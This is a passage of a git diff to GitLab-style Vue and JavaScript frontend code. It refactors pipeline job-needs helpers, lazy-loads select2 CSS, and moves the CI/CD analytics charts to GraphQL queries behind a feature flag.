+ stages.forEach(stage => {
+ if (stage.groups.length > 0) {
+ stage.groups.forEach(group => {
+ group.jobs.forEach(job => {
+ jobsHash[job.name] = job;
+ });
+ });
+ }
});
- return { stages: pipelineData, jobs };
+ return jobsHash;
};
-export const generateJobNeedsDict = ({ jobs }) => {
+/**
+ * This function takes the jobs hash generated by
+ * `createJobsHash` function and returns an easier
+ * structure to work with for needs relationship
+ * where the key is the job name and the value is an
+ * array of all the needs this job has recursively
+ * (includes the needs of the needs)
+ * @param {Object} jobs
+ * @returns {Object} - Hash of jobs and array of needs
+ */
+export const generateJobNeedsDict = (jobs = {}) => {
const arrOfJobNames = Object.keys(jobs);
return arrOfJobNames.reduce((acc, value) => {
@@ -75,13 +51,12 @@ export const generateJobNeedsDict = ({ jobs }) => {
return jobs[jobName].needs
.map(job => {
- const { id } = jobs[job];
// If we already have the needs of a job in the accumulator,
// then we use the memoized data instead of the recursive call
// to save some performance.
- const newNeeds = acc[id] ?? recursiveNeeds(job);
+ const newNeeds = acc[job] ?? recursiveNeeds(job);
- return [id, ...newNeeds];
+ return [job, ...newNeeds];
})
.flat(Infinity);
};
@@ -91,6 +66,6 @@ export const generateJobNeedsDict = ({ jobs }) => {
// duplicates from the array.
const uniqueValues = Array.from(new Set(recursiveNeeds(value)));
- return { ...acc, [jobs[value].id]: uniqueValues };
+ return { ...acc, [value]: uniqueValues };
}, {});
};
diff --git a/app/assets/javascripts/project_find_file.js b/app/assets/javascripts/project_find_file.js
index 2f35c4485f9..0e12c219e45 100644
--- a/app/assets/javascripts/project_find_file.js
+++ b/app/assets/javascripts/project_find_file.js
@@ -55,6 +55,7 @@ export default class ProjectFindFile {
}
initEvent() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.inputElement.off('keyup');
this.inputElement.on('keyup', event => {
const target = $(event.target);
diff --git a/app/assets/javascripts/project_select.js b/app/assets/javascripts/project_select.js
index db2b0856e1b..f7d823802b6 100644
--- a/app/assets/javascripts/project_select.js
+++ b/app/assets/javascripts/project_select.js
@@ -4,110 +4,116 @@ import $ from 'jquery';
import Api from './api';
import ProjectSelectComboButton from './project_select_combo_button';
import { s__ } from './locale';
+import { loadCSSFile } from './lib/utils/css_utils';
const projectSelect = () => {
- $('.ajax-project-select').each(function(i, select) {
- let placeholder;
- const simpleFilter = $(select).data('simpleFilter') || false;
- const isInstantiated = $(select).data('select2');
- this.groupId = $(select).data('groupId');
- this.userId = $(select).data('userId');
- this.includeGroups = $(select).data('includeGroups');
- this.allProjects = $(select).data('allProjects') || false;
- this.orderBy = $(select).data('orderBy') || 'id';
- this.withIssuesEnabled = $(select).data('withIssuesEnabled');
- this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
- this.withShared =
- $(select).data('withShared') === undefined ? true : $(select).data('withShared');
- this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
- this.allowClear = $(select).data('allowClear') || false;
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $('.ajax-project-select').each(function(i, select) {
+ let placeholder;
+ const simpleFilter = $(select).data('simpleFilter') || false;
+ const isInstantiated = $(select).data('select2');
+ this.groupId = $(select).data('groupId');
+ this.userId = $(select).data('userId');
+ this.includeGroups = $(select).data('includeGroups');
+ this.allProjects = $(select).data('allProjects') || false;
+ this.orderBy = $(select).data('orderBy') || 'id';
+ this.withIssuesEnabled = $(select).data('withIssuesEnabled');
+ this.withMergeRequestsEnabled = $(select).data('withMergeRequestsEnabled');
+ this.withShared =
+ $(select).data('withShared') === undefined ? true : $(select).data('withShared');
+ this.includeProjectsInSubgroups = $(select).data('includeProjectsInSubgroups') || false;
+ this.allowClear = $(select).data('allowClear') || false;
- placeholder = s__('ProjectSelect|Search for project');
- if (this.includeGroups) {
- placeholder += s__('ProjectSelect| or group');
- }
-
- $(select).select2({
- placeholder,
- minimumInputLength: 0,
- query: query => {
- let projectsCallback;
- const finalCallback = function(projects) {
- const data = {
- results: projects,
- };
- return query.callback(data);
- };
+ placeholder = s__('ProjectSelect|Search for project');
if (this.includeGroups) {
- projectsCallback = function(projects) {
- const groupsCallback = function(groups) {
- const data = groups.concat(projects);
- return finalCallback(data);
- };
- return Api.groups(query.term, {}, groupsCallback);
- };
- } else {
- projectsCallback = finalCallback;
- }
- if (this.groupId) {
- return Api.groupProjects(
- this.groupId,
- query.term,
- {
- with_issues_enabled: this.withIssuesEnabled,
- with_merge_requests_enabled: this.withMergeRequestsEnabled,
- with_shared: this.withShared,
- include_subgroups: this.includeProjectsInSubgroups,
- order_by: 'similarity',
- },
- projectsCallback,
- );
- } else if (this.userId) {
- return Api.userProjects(
- this.userId,
- query.term,
- {
- with_issues_enabled: this.withIssuesEnabled,
- with_merge_requests_enabled: this.withMergeRequestsEnabled,
- with_shared: this.withShared,
- include_subgroups: this.includeProjectsInSubgroups,
- },
- projectsCallback,
- );
+ placeholder += s__('ProjectSelect| or group');
}
- return Api.projects(
- query.term,
- {
- order_by: this.orderBy,
- with_issues_enabled: this.withIssuesEnabled,
- with_merge_requests_enabled: this.withMergeRequestsEnabled,
- membership: !this.allProjects,
+
+ $(select).select2({
+ placeholder,
+ minimumInputLength: 0,
+ query: query => {
+ let projectsCallback;
+ const finalCallback = function(projects) {
+ const data = {
+ results: projects,
+ };
+ return query.callback(data);
+ };
+ if (this.includeGroups) {
+ projectsCallback = function(projects) {
+ const groupsCallback = function(groups) {
+ const data = groups.concat(projects);
+ return finalCallback(data);
+ };
+ return Api.groups(query.term, {}, groupsCallback);
+ };
+ } else {
+ projectsCallback = finalCallback;
+ }
+ if (this.groupId) {
+ return Api.groupProjects(
+ this.groupId,
+ query.term,
+ {
+ with_issues_enabled: this.withIssuesEnabled,
+ with_merge_requests_enabled: this.withMergeRequestsEnabled,
+ with_shared: this.withShared,
+ include_subgroups: this.includeProjectsInSubgroups,
+ order_by: 'similarity',
+ },
+ projectsCallback,
+ );
+ } else if (this.userId) {
+ return Api.userProjects(
+ this.userId,
+ query.term,
+ {
+ with_issues_enabled: this.withIssuesEnabled,
+ with_merge_requests_enabled: this.withMergeRequestsEnabled,
+ with_shared: this.withShared,
+ include_subgroups: this.includeProjectsInSubgroups,
+ },
+ projectsCallback,
+ );
+ }
+ return Api.projects(
+ query.term,
+ {
+ order_by: this.orderBy,
+ with_issues_enabled: this.withIssuesEnabled,
+ with_merge_requests_enabled: this.withMergeRequestsEnabled,
+ membership: !this.allProjects,
+ },
+ projectsCallback,
+ );
+ },
+ id(project) {
+ if (simpleFilter) return project.id;
+ return JSON.stringify({
+ name: project.name,
+ url: project.web_url,
+ });
+ },
+ text(project) {
+ return project.name_with_namespace || project.name;
},
- projectsCallback,
- );
- },
- id(project) {
- if (simpleFilter) return project.id;
- return JSON.stringify({
- name: project.name,
- url: project.web_url,
- });
- },
- text(project) {
- return project.name_with_namespace || project.name;
- },
- initSelection(el, callback) {
- return Api.project(el.val()).then(({ data }) => callback(data));
- },
+ initSelection(el, callback) {
+ // eslint-disable-next-line promise/no-nesting
+ return Api.project(el.val()).then(({ data }) => callback(data));
+ },
- allowClear: this.allowClear,
+ allowClear: this.allowClear,
- dropdownCssClass: 'ajax-project-dropdown',
- });
- if (isInstantiated || simpleFilter) return select;
- return new ProjectSelectComboButton(select);
- });
+ dropdownCssClass: 'ajax-project-dropdown',
+ });
+ if (isInstantiated || simpleFilter) return select;
+ return new ProjectSelectComboButton(select);
+ });
+ })
+ .catch(() => {});
};
export default () => {
diff --git a/app/assets/javascripts/project_select_combo_button.js b/app/assets/javascripts/project_select_combo_button.js
index d3b5f532dc1..865dd23bd80 100644
--- a/app/assets/javascripts/project_select_combo_button.js
+++ b/app/assets/javascripts/project_select_combo_button.js
@@ -1,5 +1,6 @@
import $ from 'jquery';
import AccessorUtilities from './lib/utils/accessor';
+import { loadCSSFile } from './lib/utils/css_utils';
export default class ProjectSelectComboButton {
constructor(select) {
@@ -46,9 +47,14 @@ export default class ProjectSelectComboButton {
openDropdown(event) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- $(event.currentTarget)
- .siblings('.project-item-select')
- .select2('open');
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $(event.currentTarget)
+ .siblings('.project-item-select')
+ .select2('open');
+ })
+ .catch(() => {});
})
.catch(() => {});
}
diff --git a/app/assets/javascripts/projects/default_project_templates.js b/app/assets/javascripts/projects/default_project_templates.js
index a6019e9c01b..bc3b29cde0a 100644
--- a/app/assets/javascripts/projects/default_project_templates.js
+++ b/app/assets/javascripts/projects/default_project_templates.js
@@ -1,6 +1,10 @@
import { s__ } from '~/locale';
export default {
+ sample: {
+ text: s__('ProjectTemplates|Sample GitLab Project'),
+ icon: '.template-option .icon-sample',
+ },
rails: {
text: s__('ProjectTemplates|Ruby on Rails'),
icon: '.template-option .icon-rails',
diff --git a/app/assets/javascripts/projects/default_sample_data_templates.js b/app/assets/javascripts/projects/default_sample_data_templates.js
deleted file mode 100644
index 7c45e7ac62f..00000000000
--- a/app/assets/javascripts/projects/default_sample_data_templates.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { s__ } from '~/locale';
-
-export default {
- basic: {
- text: s__('ProjectTemplates|Basic'),
- icon: '.template-option .icon-basic',
- },
- serenity_valley: {
- text: s__('ProjectTemplates|Serenity Valley'),
- icon: '.template-option .icon-serenity_valley',
- },
-};
diff --git a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
index f404e6030f4..2e16071e563 100644
--- a/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
+++ b/app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue
@@ -12,6 +12,7 @@ import ciCdProjectIllustration from '../illustrations/ci-cd-project.svg';
const BLANK_PANEL = 'blank_project';
const CI_CD_PANEL = 'cicd_for_external_repo';
+const LAST_ACTIVE_TAB_KEY = 'new_project_last_active_tab';
const PANELS = [
{
name: BLANK_PANEL,
@@ -105,7 +106,7 @@ export default {
this.handleLocationHashChange();
if (this.hasErrors) {
- this.activeTab = BLANK_PANEL;
+ this.activeTab = localStorage.getItem(LAST_ACTIVE_TAB_KEY) || BLANK_PANEL;
}
window.addEventListener('hashchange', () => {
@@ -127,6 +128,9 @@ export default {
handleLocationHashChange() {
this.activeTab = window.location.hash.substring(1) || null;
+ if (this.activeTab) {
+ localStorage.setItem(LAST_ACTIVE_TAB_KEY, this.activeTab);
+ }
},
},
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/app.vue b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
index c6e2b2e1140..4bf837faed1 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/app.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/app.vue
@@ -1,66 +1,203 @@
<script>
import dateFormat from 'dateformat';
import { GlColumnChart } from '@gitlab/ui/dist/charts';
-import { __, sprintf } from '~/locale';
+import { GlAlert, GlSkeletonLoader } from '@gitlab/ui';
+import { __, s__, sprintf } from '~/locale';
import { getDateInPast } from '~/lib/utils/datetime_utility';
+import getPipelineCountByStatus from '../graphql/queries/get_pipeline_count_by_status.query.graphql';
+import getProjectPipelineStatistics from '../graphql/queries/get_project_pipeline_statistics.query.graphql';
import StatisticsList from './statistics_list.vue';
import PipelinesAreaChart from './pipelines_area_chart.vue';
import {
CHART_CONTAINER_HEIGHT,
- INNER_CHART_HEIGHT,
- X_AXIS_LABEL_ROTATION,
- X_AXIS_TITLE_OFFSET,
CHART_DATE_FORMAT,
+ DEFAULT,
+ INNER_CHART_HEIGHT,
+ LOAD_ANALYTICS_FAILURE,
+ LOAD_PIPELINES_FAILURE,
ONE_WEEK_AGO_DAYS,
ONE_MONTH_AGO_DAYS,
+ PARSE_FAILURE,
+ UNSUPPORTED_DATA,
+ X_AXIS_LABEL_ROTATION,
+ X_AXIS_TITLE_OFFSET,
} from '../constants';
+const defaultCountValues = {
+ totalPipelines: {
+ count: 0,
+ },
+ successfulPipelines: {
+ count: 0,
+ },
+};
+
+const defaultAnalyticsValues = {
+ weekPipelinesTotals: [],
+ weekPipelinesLabels: [],
+ weekPipelinesSuccessful: [],
+ monthPipelinesLabels: [],
+ monthPipelinesTotals: [],
+ monthPipelinesSuccessful: [],
+ yearPipelinesLabels: [],
+ yearPipelinesTotals: [],
+ yearPipelinesSuccessful: [],
+ pipelineTimesLabels: [],
+ pipelineTimesValues: [],
+};
+
export default {
components: {
- StatisticsList,
+ GlAlert,
GlColumnChart,
+ GlSkeletonLoader,
+ StatisticsList,
PipelinesAreaChart,
},
- props: {
- counts: {
- type: Object,
- required: true,
- },
- timesChartData: {
- type: Object,
- required: true,
- },
- lastWeekChartData: {
- type: Object,
- required: true,
- },
- lastMonthChartData: {
- type: Object,
- required: true,
- },
- lastYearChartData: {
- type: Object,
- required: true,
+ inject: {
+ projectPath: {
+ type: String,
+ default: '',
},
},
data() {
return {
- timesChartTransformedData: [
- {
- name: 'full',
- data: this.mergeLabelsAndValues(this.timesChartData.labels, this.timesChartData.values),
- },
- ],
+ counts: {
+ ...defaultCountValues,
+ },
+ analytics: {
+ ...defaultAnalyticsValues,
+ },
+ showFailureAlert: false,
+ failureType: null,
};
},
+ apollo: {
+ counts: {
+ query: getPipelineCountByStatus,
+ variables() {
+ return {
+ projectPath: this.projectPath,
+ };
+ },
+ update(data) {
+ return data?.project;
+ },
+ error() {
+ this.reportFailure(LOAD_PIPELINES_FAILURE);
+ },
+ },
+ analytics: {
+ query: getProjectPipelineStatistics,
+ variables() {
+ return {
+ projectPath: this.projectPath,
+ };
+ },
+ update(data) {
+ return data?.project?.pipelineAnalytics;
+ },
+ error() {
+ this.reportFailure(LOAD_ANALYTICS_FAILURE);
+ },
+ },
+ },
computed: {
+ failure() {
+ switch (this.failureType) {
+ case LOAD_ANALYTICS_FAILURE:
+ return {
+ text: this.$options.errorTexts[LOAD_ANALYTICS_FAILURE],
+ variant: 'danger',
+ };
+ case PARSE_FAILURE:
+ return {
+ text: this.$options.errorTexts[PARSE_FAILURE],
+ variant: 'danger',
+ };
+ case UNSUPPORTED_DATA:
+ return {
+ text: this.$options.errorTexts[UNSUPPORTED_DATA],
+ variant: 'info',
+ };
+ default:
+ return {
+ text: this.$options.errorTexts[DEFAULT],
+ variant: 'danger',
+ };
+ }
+ },
+ successRatio() {
+ const { successfulPipelines, failedPipelines } = this.counts;
+ const successfulCount = successfulPipelines?.count;
+ const failedCount = failedPipelines?.count;
+ const ratio = (successfulCount / (successfulCount + failedCount)) * 100;
+
+ return failedCount === 0 ? 100 : ratio;
+ },
+ formattedCounts() {
+ const {
+ totalPipelines,
+ successfulPipelines,
+ failedPipelines,
+ totalPipelineDuration,
+ } = this.counts;
+
+ return {
+ total: totalPipelines?.count,
+ success: successfulPipelines?.count,
+ failed: failedPipelines?.count,
+ successRatio: this.successRatio,
+ totalDuration: totalPipelineDuration,
+ };
+ },
areaCharts() {
const { lastWeek, lastMonth, lastYear } = this.$options.chartTitles;
+ let areaChartsData = [];
+ try {
+ areaChartsData = [
+ this.buildAreaChartData(lastWeek, this.lastWeekChartData),
+ this.buildAreaChartData(lastMonth, this.lastMonthChartData),
+ this.buildAreaChartData(lastYear, this.lastYearChartData),
+ ];
+ } catch {
+ areaChartsData = [];
+ this.reportFailure(PARSE_FAILURE);
+ }
+
+ return areaChartsData;
+ },
+ lastWeekChartData() {
+ return {
+ labels: this.analytics.weekPipelinesLabels,
+ totals: this.analytics.weekPipelinesTotals,
+ success: this.analytics.weekPipelinesSuccessful,
+ };
+ },
+ lastMonthChartData() {
+ return {
+ labels: this.analytics.monthPipelinesLabels,
+ totals: this.analytics.monthPipelinesTotals,
+ success: this.analytics.monthPipelinesSuccessful,
+ };
+ },
+ lastYearChartData() {
+ return {
+ labels: this.analytics.yearPipelinesLabels,
+ totals: this.analytics.yearPipelinesTotals,
+ success: this.analytics.yearPipelinesSuccessful,
+ };
+ },
+ timesChartTransformedData() {
return [
- this.buildAreaChartData(lastWeek, this.lastWeekChartData),
- this.buildAreaChartData(lastMonth, this.lastMonthChartData),
- this.buildAreaChartData(lastYear, this.lastYearChartData),
+ {
+ name: 'full',
+ data: this.mergeLabelsAndValues(
+ this.analytics.pipelineTimesLabels,
+ this.analytics.pipelineTimesValues,
+ ),
+ },
];
},
},
@@ -85,6 +222,13 @@ export default {
],
};
},
+ hideAlert() {
+ this.showFailureAlert = false;
+ },
+ reportFailure(type) {
+ this.showFailureAlert = true;
+ this.failureType = type;
+ },
},
chartContainerHeight: CHART_CONTAINER_HEIGHT,
timesChartOptions: {
@@ -96,6 +240,16 @@ export default {
nameGap: X_AXIS_TITLE_OFFSET,
},
},
+ errorTexts: {
+ [LOAD_ANALYTICS_FAILURE]: s__(
+ 'PipelineCharts|An error has ocurred when retrieving the analytics data',
+ ),
+ [LOAD_PIPELINES_FAILURE]: s__(
+ 'PipelineCharts|An error has ocurred when retrieving the pipelines data',
+ ),
+ [PARSE_FAILURE]: s__('PipelineCharts|There was an error parsing the data for the charts.'),
+ [DEFAULT]: s__('PipelineCharts|An unknown error occurred while processing CI/CD analytics.'),
+ },
get chartTitles() {
const today = dateFormat(new Date(), CHART_DATE_FORMAT);
const pastDate = timeScale =>
@@ -116,13 +270,17 @@ export default {
</script>
<template>
<div>
- <div class="mb-3">
+ <gl-alert v-if="showFailureAlert" :variant="failure.variant" @dismiss="hideAlert">
+ {{ failure.text }}
+ </gl-alert>
+ <div class="gl-mb-3">
<h3>{{ s__('PipelineCharts|CI / CD Analytics') }}</h3>
</div>
- <h4 class="my-4">{{ s__('PipelineCharts|Overall statistics') }}</h4>
+ <h4 class="gl-my-4">{{ s__('PipelineCharts|Overall statistics') }}</h4>
<div class="row">
<div class="col-md-6">
- <statistics-list :counts="counts" />
+ <gl-skeleton-loader v-if="$apollo.queries.counts.loading" :lines="5" />
+ <statistics-list v-else :counts="formattedCounts" />
</div>
<div class="col-md-6">
<strong>
@@ -139,7 +297,7 @@ export default {
</div>
</div>
<hr />
- <h4 class="my-4">{{ __('Pipelines charts') }}</h4>
+ <h4 class="gl-my-4">{{ __('Pipelines charts') }}</h4>
<pipelines-area-chart
v-for="(chart, index) in areaCharts"
:key="index"
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/app_legacy.vue b/app/assets/javascripts/projects/pipelines/charts/components/app_legacy.vue
new file mode 100644
index 00000000000..c6e2b2e1140
--- /dev/null
+++ b/app/assets/javascripts/projects/pipelines/charts/components/app_legacy.vue
@@ -0,0 +1,151 @@
+<script>
+import dateFormat from 'dateformat';
+import { GlColumnChart } from '@gitlab/ui/dist/charts';
+import { __, sprintf } from '~/locale';
+import { getDateInPast } from '~/lib/utils/datetime_utility';
+import StatisticsList from './statistics_list.vue';
+import PipelinesAreaChart from './pipelines_area_chart.vue';
+import {
+ CHART_CONTAINER_HEIGHT,
+ INNER_CHART_HEIGHT,
+ X_AXIS_LABEL_ROTATION,
+ X_AXIS_TITLE_OFFSET,
+ CHART_DATE_FORMAT,
+ ONE_WEEK_AGO_DAYS,
+ ONE_MONTH_AGO_DAYS,
+} from '../constants';
+
+export default {
+ components: {
+ StatisticsList,
+ GlColumnChart,
+ PipelinesAreaChart,
+ },
+ props: {
+ counts: {
+ type: Object,
+ required: true,
+ },
+ timesChartData: {
+ type: Object,
+ required: true,
+ },
+ lastWeekChartData: {
+ type: Object,
+ required: true,
+ },
+ lastMonthChartData: {
+ type: Object,
+ required: true,
+ },
+ lastYearChartData: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ timesChartTransformedData: [
+ {
+ name: 'full',
+ data: this.mergeLabelsAndValues(this.timesChartData.labels, this.timesChartData.values),
+ },
+ ],
+ };
+ },
+ computed: {
+ areaCharts() {
+ const { lastWeek, lastMonth, lastYear } = this.$options.chartTitles;
+
+ return [
+ this.buildAreaChartData(lastWeek, this.lastWeekChartData),
+ this.buildAreaChartData(lastMonth, this.lastMonthChartData),
+ this.buildAreaChartData(lastYear, this.lastYearChartData),
+ ];
+ },
+ },
+ methods: {
+ mergeLabelsAndValues(labels, values) {
+ return labels.map((label, index) => [label, values[index]]);
+ },
+ buildAreaChartData(title, data) {
+ const { labels, totals, success } = data;
+
+ return {
+ title,
+ data: [
+ {
+ name: 'all',
+ data: this.mergeLabelsAndValues(labels, totals),
+ },
+ {
+ name: 'success',
+ data: this.mergeLabelsAndValues(labels, success),
+ },
+ ],
+ };
+ },
+ },
+ chartContainerHeight: CHART_CONTAINER_HEIGHT,
+ timesChartOptions: {
+ height: INNER_CHART_HEIGHT,
+ xAxis: {
+ axisLabel: {
+ rotate: X_AXIS_LABEL_ROTATION,
+ },
+ nameGap: X_AXIS_TITLE_OFFSET,
+ },
+ },
+ get chartTitles() {
+ const today = dateFormat(new Date(), CHART_DATE_FORMAT);
+ const pastDate = timeScale =>
+ dateFormat(getDateInPast(new Date(), timeScale), CHART_DATE_FORMAT);
+ return {
+ lastWeek: sprintf(__('Pipelines for last week (%{oneWeekAgo} - %{today})'), {
+ oneWeekAgo: pastDate(ONE_WEEK_AGO_DAYS),
+ today,
+ }),
+ lastMonth: sprintf(__('Pipelines for last month (%{oneMonthAgo} - %{today})'), {
+ oneMonthAgo: pastDate(ONE_MONTH_AGO_DAYS),
+ today,
+ }),
+ lastYear: __('Pipelines for last year'),
+ };
+ },
+};
+</script>
+<template>
+ <div>
+ <div class="mb-3">
+ <h3>{{ s__('PipelineCharts|CI / CD Analytics') }}</h3>
+ </div>
+ <h4 class="my-4">{{ s__('PipelineCharts|Overall statistics') }}</h4>
+ <div class="row">
+ <div class="col-md-6">
+ <statistics-list :counts="counts" />
+ </div>
+ <div class="col-md-6">
+ <strong>
+ {{ __('Duration for the last 30 commits') }}
+ </strong>
+ <gl-column-chart
+ :height="$options.chartContainerHeight"
+ :option="$options.timesChartOptions"
+ :bars="timesChartTransformedData"
+ :y-axis-title="__('Minutes')"
+ :x-axis-title="__('Commit')"
+ x-axis-type="category"
+ />
+ </div>
+ </div>
+ <hr />
+ <h4 class="my-4">{{ __('Pipelines charts') }}</h4>
+ <pipelines-area-chart
+ v-for="(chart, index) in areaCharts"
+ :key="index"
+ :chart-data="chart.data"
+ >
+ {{ chart.title }}
+ </pipelines-area-chart>
+ </div>
+</template>
diff --git a/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue b/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
index aa59717ddcd..94cecd2e479 100644
--- a/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
+++ b/app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue
@@ -1,7 +1,10 @@
<script>
import { formatTime } from '~/lib/utils/datetime_utility';
+import { SUPPORTED_FORMATS, getFormatter } from '~/lib/utils/unit_format';
import { s__, n__ } from '~/locale';
+const defaultPrecision = 2;
+
export default {
props: {
counts: {
@@ -14,6 +17,8 @@ export default {
return formatTime(this.counts.totalDuration);
},
statistics() {
+ const formatter = getFormatter(SUPPORTED_FORMATS.percentHundred);
+
return [
{
title: s__('PipelineCharts|Total:'),
@@ -29,7 +34,7 @@ export default {
},
{
title: s__('PipelineCharts|Success ratio:'),
- value: `${this.counts.successRatio}%`,
+ value: formatter(this.counts.successRatio, defaultPrecision),
},
{
title: s__('PipelineCharts|Total duration:'),
diff --git a/app/assets/javascripts/projects/pipelines/charts/constants.js b/app/assets/javascripts/projects/pipelines/charts/constants.js
index 5dbe3c01100..079e23943c1 100644
--- a/app/assets/javascripts/projects/pipelines/charts/constants.js
+++ b/app/assets/javascripts/projects/pipelines/charts/constants.js
@@ -11,3 +11,9 @@ export const ONE_WEEK_AGO_DAYS = 7;
export const ONE_MONTH_AGO_DAYS = 31;
export const CHART_DATE_FORMAT = 'dd mmm';
+
+export const DEFAULT = 'default';
+export const PARSE_FAILURE = 'parse_failure';
+export const LOAD_ANALYTICS_FAILURE = 'load_analytics_failure';
+export const LOAD_PIPELINES_FAILURE = 'load_analytics_failure';
+export const UNSUPPORTED_DATA = 'unsupported_data';
diff --git a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql
new file mode 100644
index 00000000000..eb0dbf8dd16
--- /dev/null
+++ b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql
@@ -0,0 +1,14 @@
+query getPipelineCountByStatus($projectPath: ID!) {
+ project(fullPath: $projectPath) {
+ totalPipelines: pipelines {
+ count
+ }
+ successfulPipelines: pipelines(status: SUCCESS) {
+ count
+ }
+ failedPipelines: pipelines(status: FAILED) {
+ count
+ }
+ totalPipelineDuration
+ }
+}
diff --git a/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql
new file mode 100644
index 00000000000..18b645f8831
--- /dev/null
+++ b/app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql
@@ -0,0 +1,17 @@
+query getProjectPipelineStatistics($projectPath: ID!) {
+ project(fullPath: $projectPath) {
+ pipelineAnalytics {
+ weekPipelinesTotals
+ weekPipelinesLabels
+ weekPipelinesSuccessful
+ monthPipelinesLabels
+ monthPipelinesTotals
+ monthPipelinesSuccessful
+ yearPipelinesLabels
+ yearPipelinesTotals
+ yearPipelinesSuccessful
+ pipelineTimesLabels
+ pipelineTimesValues
+ }
+ }
+}
diff --git a/app/assets/javascripts/projects/pipelines/charts/index.js b/app/assets/javascripts/projects/pipelines/charts/index.js
index eef1bc2d28b..f6e79f0ab51 100644
--- a/app/assets/javascripts/projects/pipelines/charts/index.js
+++ b/app/assets/javascripts/projects/pipelines/charts/index.js
@@ -1,8 +1,20 @@
import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import ProjectPipelinesChartsLegacy from './components/app_legacy.vue';
import ProjectPipelinesCharts from './components/app.vue';
-export default () => {
- const el = document.querySelector('#js-project-pipelines-charts-app');
+Vue.use(VueApollo);
+
+const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+});
+
+const mountPipelineChartsApp = el => {
+ // Not all of the values will be defined since some them will be
+ // empty depending on the value of the graphql_pipeline_analytics
+ // feature flag, once the rollout of the feature flag is completed
+ // the undefined values will be deleted
const {
countsFailed,
countsSuccess,
@@ -20,22 +32,48 @@ export default () => {
lastYearChartLabels,
lastYearChartTotals,
lastYearChartSuccess,
+ projectPath,
} = el.dataset;
- const parseAreaChartData = (labels, totals, success) => ({
- labels: JSON.parse(labels),
- totals: JSON.parse(totals),
- success: JSON.parse(success),
- });
+ const parseAreaChartData = (labels, totals, success) => {
+ let parsedData = {};
+
+ try {
+ parsedData = {
+ labels: JSON.parse(labels),
+ totals: JSON.parse(totals),
+ success: JSON.parse(success),
+ };
+ } catch {
+ parsedData = {};
+ }
+
+ return parsedData;
+ };
+
+ if (gon?.features?.graphqlPipelineAnalytics) {
+ return new Vue({
+ el,
+ name: 'ProjectPipelinesChartsApp',
+ components: {
+ ProjectPipelinesCharts,
+ },
+ apolloProvider,
+ provide: {
+ projectPath,
+ },
+ render: createElement => createElement(ProjectPipelinesCharts, {}),
+ });
+ }
return new Vue({
el,
- name: 'ProjectPipelinesChartsApp',
+ name: 'ProjectPipelinesChartsAppLegacy',
components: {
- ProjectPipelinesCharts,
+ ProjectPipelinesChartsLegacy,
},
render: createElement =>
- createElement(ProjectPipelinesCharts, {
+ createElement(ProjectPipelinesChartsLegacy, {
props: {
counts: {
failed: countsFailed,
@@ -67,3 +105,8 @@ export default () => {
}),
});
};
+
+export default () => {
+ const el = document.querySelector('#js-project-pipelines-charts-app');
+ return !el ? {} : mountPipelineChartsApp(el);
+};
diff --git a/app/assets/javascripts/projects/project_new.js b/app/assets/javascripts/projects/project_new.js
index d74a2d06786..d54a48cc444 100644
--- a/app/assets/javascripts/projects/project_new.js
+++ b/app/assets/javascripts/projects/project_new.js
@@ -1,6 +1,5 @@
import $ from 'jquery';
import DEFAULT_PROJECT_TEMPLATES from 'ee_else_ce/projects/default_project_templates';
-import DEFAULT_SAMPLE_DATA_TEMPLATES from '~/projects/default_sample_data_templates';
import { addSelectOnFocusBehaviour } from '../lib/utils/common_utils';
import {
convertToTitleCase,
@@ -26,12 +25,14 @@ const onProjectPathChange = ($projectNameInput, $projectPathInput, hasExistingPr
};
const setProjectNamePathHandlers = ($projectNameInput, $projectPathInput) => {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$projectNameInput.off('keyup change').on('keyup change', () => {
onProjectNameChange($projectNameInput, $projectPathInput);
hasUserDefinedProjectName = $projectNameInput.val().trim().length > 0;
hasUserDefinedProjectPath = $projectPathInput.val().trim().length > 0;
});
+ // eslint-disable-next-line @gitlab/no-global-event-off
$projectPathInput.off('keyup change').on('keyup change', () => {
onProjectPathChange($projectNameInput, $projectPathInput, hasUserDefinedProjectName);
hasUserDefinedProjectPath = $projectPathInput.val().trim().length > 0;
@@ -137,6 +138,7 @@ const bindEvents = () => {
target.focus();
})
.on('hide.bs.popover', () => {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(document).off('click.popover touchstart.popover');
});
}
@@ -147,8 +149,7 @@ const bindEvents = () => {
$selectedIcon.empty();
const value = $(this).val();
- const selectedTemplate =
- DEFAULT_PROJECT_TEMPLATES[value] || DEFAULT_SAMPLE_DATA_TEMPLATES[value];
+ const selectedTemplate = DEFAULT_PROJECT_TEMPLATES[value];
$selectedTemplateText.text(selectedTemplate.text);
